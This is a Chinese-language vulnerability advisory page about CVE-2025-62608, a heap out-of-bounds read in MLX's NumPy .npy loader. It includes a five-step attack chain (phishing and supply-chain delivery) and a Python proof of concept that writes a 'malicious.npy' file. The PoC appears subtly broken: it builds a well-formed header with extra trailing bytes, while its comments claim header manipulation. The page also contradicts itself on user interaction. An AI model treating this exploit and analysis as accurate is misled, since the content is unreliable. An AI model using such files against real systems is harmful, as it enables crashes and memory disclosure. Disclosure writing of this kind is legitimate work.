IPBUF安全漏洞报告
English
CVE-2025-62608 CVSS 9.1 严重

CVE-2025-62608 MLX堆缓冲区溢出漏洞(NumPy .npy文件解析)

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-62608
漏洞类型
缓冲区溢出
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MLX (Apple silicon机器学习数组框架)

相关标签

缓冲区溢出堆溢出越界读取MLXApple SiliconNumPy机器学习信息泄露拒绝服务CVE-2025-62608

漏洞概述

MLX是Apple Silicon上用于机器学习的数组框架。在0.29.4之前的版本中,mlx::Core::load()函数在解析恶意构造的NumPy .npy文件时存在堆缓冲区溢出漏洞。攻击者可以通过精心构造的.npy文件触发13字节的越界读取,导致程序崩溃或敏感信息泄露。该漏洞无需认证即可利用,攻击向量为网络,危害极大。MLX框架被广泛应用于Apple设备上的机器学习任务,包括模型推理、数据处理等场景。漏洞存在于文件加载模块,攻击者只需诱导用户或自动化系统加载恶意.npy文件即可触发漏洞。

技术细节

漏洞位于MLX框架的mlx::Core::load()函数中,该函数负责解析NumPy的.npy文件格式。.npy文件格式包含文件头和实际数据两部分。文件头中包含元数据如数组维度、数据类型等信息。问题出在解析.npy文件头时,代码未正确验证文件头大小与实际数据的边界关系。当解析恶意构造的.npy文件时,程序会分配一个固定大小的堆缓冲区,但在读取文件数据时未进行充分的边界检查,导致读取操作超出分配的缓冲区边界,触发13字节的越界读取(out-of-bounds read)。这种越界读取可能暴露堆内存中的敏感数据,如密钥、令牌或其他已分配对象的内容。攻击者可通过构造特定布局的.npy文件,控制越界读取的偏移量和内容,从而实现信息窃取或导致目标服务崩溃。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标环境是否使用存在漏洞的MLX版本(<0.29.4),并确定.npy文件加载入口点
STEP 2
步骤2: 恶意文件制作
攻击者精心构造恶意的NumPy .npy文件,通过修改文件头中的shape、descr等字段,使解析时产生堆缓冲区边界计算错误
STEP 3
步骤3: 载荷投递
通过钓鱼邮件、恶意下载链接、供应链攻击或诱使目标用户加载恶意.npy文件等方式将恶意文件投递到目标系统
STEP 4
步骤4: 漏洞触发
目标系统调用mlx::Core::load()函数加载恶意.npy文件时,触发13字节的堆越界读取
STEP 5
步骤5: 影响利用
越界读取的堆内存可能包含敏感信息(如密钥、认证令牌、其他应用数据),导致信息泄露;或导致程序崩溃引发拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-62608 PoC - Malicious .npy file generator # This PoC generates a malicious .npy file that triggers heap buffer overflow # in MLX framework's mlx::core::load() function import struct import numpy as np def create_malicious_npy(): """ Create a malicious .npy file that triggers OOB read in MLX The vulnerability exists in parsing NumPy .npy file headers """ # .npy file header format magic = b'\x93NUMPY' version = b'\x01\x00' # Version 1.0 # Malicious header: Forcing incorrect data offset # The header contains a fortran_order flag and shape info # that causes the parser to read beyond allocated buffer header_dict = { 'descr': np.float32().dtype.str, 'fortran_order': False, 'shape': (1,) } import json header_str = json.dumps(header_dict).replace(' ', '') header_len = len(header_str) + 1 # +1 for newline # Pack header length in little-endian format header_length = struct.pack('<H', header_len) # Construct header header = magic + version + header_length + header_str.encode() + b'\n' # Malicious data: crafted to trigger OOB read # The data size is manipulated to cause buffer overflow malicious_data = b'A' * 100 + b'\x00' * 13 # Extra 13 bytes for OOB read # Write malicious .npy file with open('malicious.npy', 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Created malicious.npy") print(f"[+] Header size: {len(header)} bytes") print(f"[+] Data size: {len(malicious_data)} bytes") print(f"[+] Expected OOB read: 13 bytes") def verify_npy(): """Verify the generated .npy file""" with open('malicious.npy', 'rb') as f: magic = f.read(6) print(f"[+] Magic: {magic}") version = f.read(2) print(f"[+] Version: {version.hex()}") header_len = struct.unpack('<H', f.read(2))[0] print(f"[+] Header length: {header_len}") if __name__ == '__main__': create_malicious_npy() verify_npy() print("\n[!] Usage: Load malicious.npy with vulnerable MLX version") print("[!] In Python: mlx.core.load('malicious.npy')")

影响范围

MLX < 0.29.4

防御指南

临时缓解措施
在官方修复发布前,建议采取以下临时缓解措施:1) 限制或禁止加载来源不明的.npy文件;2) 对所有.npy文件进行安全扫描和格式验证;3) 监控MLX进程的文件访问行为;4) 考虑使用沙箱环境隔离MLX进程;5) 启用日志记录以便发现异常加载行为;6) 评估是否可暂时降级到安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表